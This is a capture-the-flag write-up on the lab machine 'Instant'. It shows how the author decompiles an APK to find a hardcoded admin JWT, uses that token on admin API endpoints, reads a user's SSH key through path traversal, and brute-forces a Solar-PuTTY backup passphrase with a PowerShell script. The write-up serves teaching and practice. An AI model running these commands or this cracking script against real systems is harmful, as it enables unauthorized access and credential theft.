RECON

Nmap

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 31:83:eb:9f:15:f8:40:a5:04:9c:cb:3f:f6:ec:49:76 (ECDSA)
|_  256 6f:66:03:47:0e:8a:e0:03:97:67:5b:41:cf:e2:c7:c7 (ED25519)
80/tcp open  http    Apache httpd 2.4.58
|_http-title: Did not follow redirect to http://instant.htb/
|_http-server-header: Apache/2.4.58 (Ubuntu)

Port 80 | APK

The web service redirects to the http://instant.htb and offers an APK file to download, indicating a likely mobile application component in the challenge:

Tools like apktool and jadx can be used to decompile the APK and inspect its code for vulnerabilities, API endpoints, hardcoded credentials, or backend services. Download the APK file and run apktool in Kali:

apktool d instant.apk

After decompiling, we can focus on the following files and directories:

  • AndroidManifest.xml: Defines essential information about the app, such as activities, services, permissions, and the main entry points. Look for suspicious permissions (like access to network state, storage, or external connections) and exposed activities that might lead to sensitive areas.
  • res/values/strings.xml: Contains string resources used by the app. Look for sensitive data such as API keys, URLs, and other hardcoded information.
  • smali directory: Contains the disassembled code. Smali files are like assembly code for Android, but they're human-readable. Focus on code related to authentication, API calls, or cryptographic functions.

AndroidManifest.xml

<?xml version="1.0" encoding="utf-8" standalone="no"?><manifest xmlns:android="http://schemas.android.com/apk/res/android" android:compileSdkVersion="34" android:compileSdkVersionCodename="14" package="com.instantlabs.instant" platformBuildVersionCode="34" platformBuildVersionName="14">
    <uses-permission android:name="android.permission.INTERNET"/>
    <permission android:name="com.instantlabs.instant.DYNAMIC_RECEIVER_NOT_EXPORTED_PERMISSION" android:protectionLevel="signature"/>
    <uses-permission android:name="com.instantlabs.instant.DYNAMIC_RECEIVER_NOT_EXPORTED_PERMISSION"/>
    <application android:allowBackup="true" android:appComponentFactory="androidx.core.app.CoreComponentFactory" android:dataExtractionRules="@xml/data_extraction_rules" android:extractNativeLibs="false" android:fullBackupContent="@xml/backup_rules" android:icon="@drawable/instant_logo" android:label="@string/app_name" android:roundIcon="@drawable/instant_logo" android:supportsRtl="true" android:theme="@style/Theme.Instant" android:usesCleartextTraffic="true">
        <activity android:exported="false" android:name="com.instantlabs.instant.ForgotPasswordActivity"/>
        <activity android:exported="false" android:name="com.instantlabs.instant.TransactionActivity"/>
        <activity android:exported="true" android:name="com.instantlabs.instant.SplashActivity">
            <intent-filter>
                <action android:name="android.intent.action.MAIN"/>
                <category android:name="android.intent.category.LAUNCHER"/>
            </intent-filter>
        </activity>
        <activity android:exported="false" android:name="com.instantlabs.instant.ProfileActivity"/>
        <activity android:exported="false" android:name="com.instantlabs.instant.RegisterActivity"/>
        <activity android:exported="false" android:name="com.instantlabs.instant.LoginActivity"/>
        <activity android:exported="true" android:name="com.instantlabs.instant.MainActivity">
            <intent-filter>
                <action android:name="android.intent.action.MAIN"/>
                <category android:name="android.intent.category.LAUNCHER"/>
            </intent-filter>
        </activity>
        <provider android:authorities="com.instantlabs.instant.androidx-startup" android:exported="false" android:name="androidx.startup.InitializationProvider">
            <meta-data android:name="androidx.emoji2.text.EmojiCompatInitializer" android:value="androidx.startup"/>
            <meta-data android:name="androidx.lifecycle.ProcessLifecycleInitializer" android:value="androidx.startup"/>
            <meta-data android:name="androidx.profileinstaller.ProfileInstallerInitializer" android:value="androidx.startup"/>
        </provider>
        <receiver android:directBootAware="false" android:enabled="true" android:exported="true" android:name="androidx.profileinstaller.ProfileInstallReceiver" android:permission="android.permission.DUMP">
            <intent-filter>
                <action android:name="androidx.profileinstaller.action.INSTALL_PROFILE"/>
            </intent-filter>
            <intent-filter>
                <action android:name="androidx.profileinstaller.action.SKIP_FILE"/>
            </intent-filter>
            <intent-filter>
                <action android:name="androidx.profileinstaller.action.SAVE_PROFILE"/>
            </intent-filter>
            <intent-filter>
                <action android:name="androidx.profileinstaller.action.BENCHMARK_OPERATION"/>
            </intent-filter>
        </receiver>
    </application>
</manifest>

The app has permission to use the internet, which indicates that it likely communicates with a backend server, possibly through APIs.

The following activities are not exported, meaning they are only accessible internally by the app:

  • ForgotPasswordActivity
  • TransactionActivity
  • ProfileActivity
  • RegisterActivity
  • LoginActivity

These activities suggest that the app handles sensitive operations like password resets, transactions, and authentication. While these are not directly accessible from external apps (because of exported="false"), they may be vulnerable to other exploits or API manipulation.

On the other hand, SplashActivity and MainActivity are exported and available to be invoked externally.

Res

The res folder in an Android APK contains the app's resources, including layout files, string resources, images, and configuration details.

  • res/layout/: Contains XML files that define the app’s UI layout.
  • res/values/: Stores common resources such as strings, dimensions, and colors (e.g., strings.xml, colors.xml).
  • res/drawable/: Stores images and other graphic resources.
  • res/xml/: Contains additional XML files that provide configuration information (like the network_security_config.xml file).

network_security_config.xml

res/xml/network_security_config.xml defines the network security configuration for the app, controlling how the app interacts with remote servers over the network.

<?xml version="1.0" encoding="utf-8"?>
<network-security-config>
    <domain-config cleartextTrafficPermitted="true">
        <domain includeSubdomains="true">mywalletv1.instant.htb</domain>
        <domain includeSubdomains="true">swagger-ui.instant.htb</domain>
    </domain-config>
</network-security-config>     

Smali

As noted earlier, the smali directory holds the disassembled code. Our focus should be on the com directory, which likely contains the core of the application (com.instantlabs.instant), as referenced in the AndroidManifest.xml. Here, we can dive into the logic for key activities like LoginActivity, TransactionActivity, and others.

LoginActivity.smali

ACCESS_TOKEN_KEY:

.field private static final ACCESS_TOKEN_KEY:Ljava/lang/String; = "access_token"

It indicates that the app stores an access token under the key access_token, used for authentication with the backend API. The access token might be stored locally (in shared preferences) and retrieved for making authenticated requests.

SHARED_PREFS_NAME:

.field private static final SHARED_PREFS_NAME:Ljava/lang/String; = "app_prefs"

The app uses shared preferences (with the name app_prefs) to store and retrieve various settings and tokens. If not implemented securely, this could expose sensitive data such as authentication tokens to attackers who gain access to the device.

AdminActivities.smali

In this AdminActivities.smali file, we have discovered an important hardcoded JWT (JSON Web Token) for admin authorization. The method TestAdminAuthorization() uses a hardcoded admin JWT for authorization

const-string v3, "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA"

Throw it to https://jwt.io:

And from other codes, we know that the JWT is used in a request to the API endpoint:

const-string v2, "http://mywalletv1.instant.htb/api/v1/view/profile"

The JWT is passed in the Authorization header as a Bearer token:

invoke-virtual {v1, v2, v3}, Lokhttp3/Request$Builder;->addHeader(Ljava/lang/String;Ljava/lang/String;)Lokhttp3/Request$Builder;

RegisterActivity.smali

The app sends the following user information during registration:

  • Username
  • Email
  • Password
  • PIN

These details are added to a JSON object and sent to the registration endpoint:

const-string p4, "http://mywalletv1.instant.htb/api/v1/register"

The registration request is sent via OkHttpClient to the /api/v1/register endpoint with the Content-Type: application/json:

invoke-virtual {p3, p2}, Lokhttp3/Request$Builder;->post(Lokhttp3/RequestBody;)Lokhttp3/Request$Builder;

JWT | Web Admin

We now have identified some internal subdomains http://mywalletv1.instant.htb, http://swagger-ui.instant.htb:

The Swagger UI interface documents the API endpoints available for interaction with the application and provides a convenient way for developers to test these endpoints directly through the browser.

Key Endpoints:

  • POST /api/v1/admin/add/user: Allows admin users to create new user accounts.
  • GET /api/v1/admin/list/users: Lists all users in the database.
  • POST /api/v1/login: Handles user login.
  • POST /api/v1/register: Registers a new user.
  • GET /api/v1/view/profile: Allows viewing the profile of a logged-in user.
  • GET /api/v1/admin/read/log: Reads application logs.
  • POST /api/v1/confirm/pin: Confirms a PIN for transactions.
  • POST /api/v1/initiate/transaction: Transfer funds.
  • GET /api/v1/view/transaction: Inspect user transactions.

Building on our reconnaissance and code analysis, we now have a clear understanding of the web app's authentication process. Since a JWT is issued upon registration, we need to simulate the registration flow. This can be done by manually creating a new account:

curl -X POST http://mywalletv1.instant.htb/api/v1/register \
-H "Content-Type: application/json" \
-d '{
  "username": "axura",
  "email": "[email protected]",
  "password": "deadbeef",
  "pin": "00000"
}'

With the registered account, we can test the website which serves only API endpoints to retrieve information by signing in remotely:

curl -X POST http://mywalletv1.instant.htb/api/v1/login \
-H "Content-Type: application/json" \
-d '{
    "username": "axura",
    "password": "deadbeef"
}'

And we can access other protected endpoints by embedding our JWT token:

There're many other endpoint listed above. Remember the admin JWT we found in the recon part with an explicit format in request header? We can attach it in our request:

curl -X GET http://mywalletv1.instant.htb/api/v1/admin/list/users \
-H "Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA" | jq

Except known user admin and myself, we have identified a new user shirohige.

LFI | Shirohige

Further, through the introduction on http://swagger-ui.instant.htb/apidocs/, we can try to access logs as the web app admin. First we can list available logs for viewing:

curl -X GET http://mywalletv1.instant.htb/api/v1/admin/view/logs \
-H "Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA" | jq

There's a 1.log under path /home/shirohige/logs:

Make a request to API /api/v1/admin/read/log after checking out the correct data format structure:

Then we can make a request:

curl -X GET http://mywalletv1.instant.htb/api/v1/admin/read/log?log_file_name=1.log \
-H "Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA" | jq

Bruh, there's nothing:

But, know the current file path, we can try path traversing perhaps?

curl -X GET http://mywalletv1.instant.htb/api/v1/admin/read/log?log_file_name=../.ssh/id_rsa \
-H "Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA" | jq

Bingo:

Reformat the SSH key into a correct one, like using my own tool ssh_key_formatter, choosing RSA Private Key format:

Cool. Then change the key permission to 600, and we compromise user shirohige:

SolarPutty | Root

Internal Enum

Run Linpeas on the target machine, revealing active ports:

They are just for the instant web app:

We found a key which could be used to encrypt the JWT:

Some database files, especially the first one which could contains credentials:

PBKDF2

Dump the instant.db, we found the hashes:

As introduced in the Compiled machine in this writeup, each its hash string follows the format:

[pbkdf2][number of iterations][key_length]
  1. pbkdf2: This indicates the use of the PBKDF2 (Password-Based Key Derivation Function 2) hashing algorithm.
  2. sha256: The underlying hash function used is SHA-256. PBKDF2 supports various hashing algorithms, and here it uses SHA-256 to hash the password.
  3. 600000: This is the number of iterations used in the PBKDF2 function. In this case, the password hashing function was iterated 600,000 times, which makes it computationally expensive to crack.
  4. I5bFyb0ZzD69pNX8: This is the salt used in the hash. A salt is a random value added to the password to ensure that the same password does not always result in the same hash, thus defending against precomputed attacks like rainbow tables.
  5. e9e4ea5c280e0766612295ab9bff32e5fa1de8f6cbb6586fab7ab7bc762bd978: This is the hashed output. After 600,000 iterations of PBKDF2 with SHA-256 and the given salt, this is the resulting hash of the password.

We can refer to this thread using Hashcat to crack PBKDF2-HMAC-SHA256 (-m 10900). The format follows:

sha256:<iterations>:<base64_salt>:<base64_hash>
  • Use : as separator.
  • Base64 encode the salt and password before cracking.

However, cracking the hashes can take too long in a CTF environment.

Additionally, PBKDF2 outputs typically include a derived key length (derived-key-len). Since this isn’t explicitly mentioned here, applying the same technique on the Compiled machine may not be feasible.

SolarPuttyDecrypt

While cracking the PBKDF2 hash may not be the intended solution, we discovered something more intriguing. In the /opt directory, typically used for application files, we found a backups folder containing a sessions-backup.dat file under Solar-PuTTY:

It appears to be a backup file created by Solar-PuTTY, a tool used to manage SSH and Telnet sessions for Windows machine. Based on its name, this file likely contains saved session configurations, including:

  • Connection details (hostnames, IP addresses, ports).
  • Authentication credentials (usernames, possibly encrypted passwords or private keys).
  • Session settings such as terminal behavior, logging preferences, etc.

The DAT file comes from the export feature in Solar-PuTTY, which allows the user to export session data into it, and the tool asks for a password to protect this exported data. The password acts as an additional layer of security, encrypting the exported session data to prevent unauthorized access.

The backup data is actually in Base64 format, but it will take a lot reversing work to decrypt the context, which is introduced in this article.:

To access the contents of this file, we would typically need to use a tool like SolarPuttyDecrypt, developed by the Voidsec Team on Github to finish this attack.

The tool helps dump sessions and credentials, requiring a passphrase if one is configured. However, the key we discovered during enumeration doesn’t work for this case:

When successful, the executable will output a SolarPutty_sessions_decrypted.txt file to the desktop—though, personally, I prefer keeping my desktop clean.

To tackle this, we can attempt brute-forcing the passphrase, assuming it’s protected by a weak password. This can be achieved using a simple PowerShell script in Windows:

# Define the paths
$rockyouPath = "D:\▒▒▒▒▒▒▒▒\RockYou\rockyou.txt"
$decryptExePath = "E:\▒▒▒▒▒▒▒▒\SolarPuttyDecrypt_v1\SolarPuttyDecrypt.exe"
$sessionsFilePath = "E:\▒▒▒▒▒▒▒▒\SolarPuttyDecrypt_v1\sessions-backup.dat"
$outputFilePath = "$env:USERPROFILE\Desktop\SolarPutty_sessions_decrypted.txt"
$desiredOutputPath = "E:\▒▒▒▒▒▒▒▒\SolarPutty_sessions_decrypted.txt"

Write-Output "Starting brute-force process..."

# Read all passwords into an array
$passwords = Get-Content -Path $rockyouPath

# Loop through each password
foreach ($password in $passwords) {
    $password = $password.Trim()
    Write-Output "Trying password: $password"

    try {
        # Run with the current password
        $output = & $decryptExePath $sessionsFilePath $password 2>&1

        # Log the output for debugging
        Write-Output "Output from decryption tool:"
        Write-Output $output

        # Check if the output contains the "Bad Data" error "CryptographicException"
        if ($output -match "Bad Data" -or $output -match "CryptographicException") {
            Write-Output "Failed with password: $password"
            continue  # Move to the next password
        }

        # Check for success keywords in the full output
        if ($output -like "*Sessions*" -and $output -like "*Credentials*" -and $output -like "*DONE Decrypted file is saved*") {
            Write-Output "Success! Password: $password"
            Write-Output "Decrypted Output: $output"

            # Clean our desktop
            if (Test-Path $outputFilePath) {
                Move-Item $outputFilePath $desiredOutputPath -Force
                Write-Output "Decrypted file moved to: $desiredOutputPath"
            }
            break  
        }
        else {
            Write-Output "Failed with password: $password"
            continue  
        }
    }
    catch {
        Write-Output "Error: $_"
        continue
    }
}

Write-Output "Brute-force process completed."

We can observe the outcome directly in the response:

Alternatively, with the cracked passphrase, we can use it to dump the data again using SolarPuttyDecrypt.exe for verification:

.\SolarPuttyDecrypt.exe .\sessions-backup.dat es▒▒▒▒▒▒▒▒

This reveals a password for the root user, allowing us to successfully compromise the account:

Root.


if (B1N4RY) return 1; else return (HACK3R = 0xdeadc0de);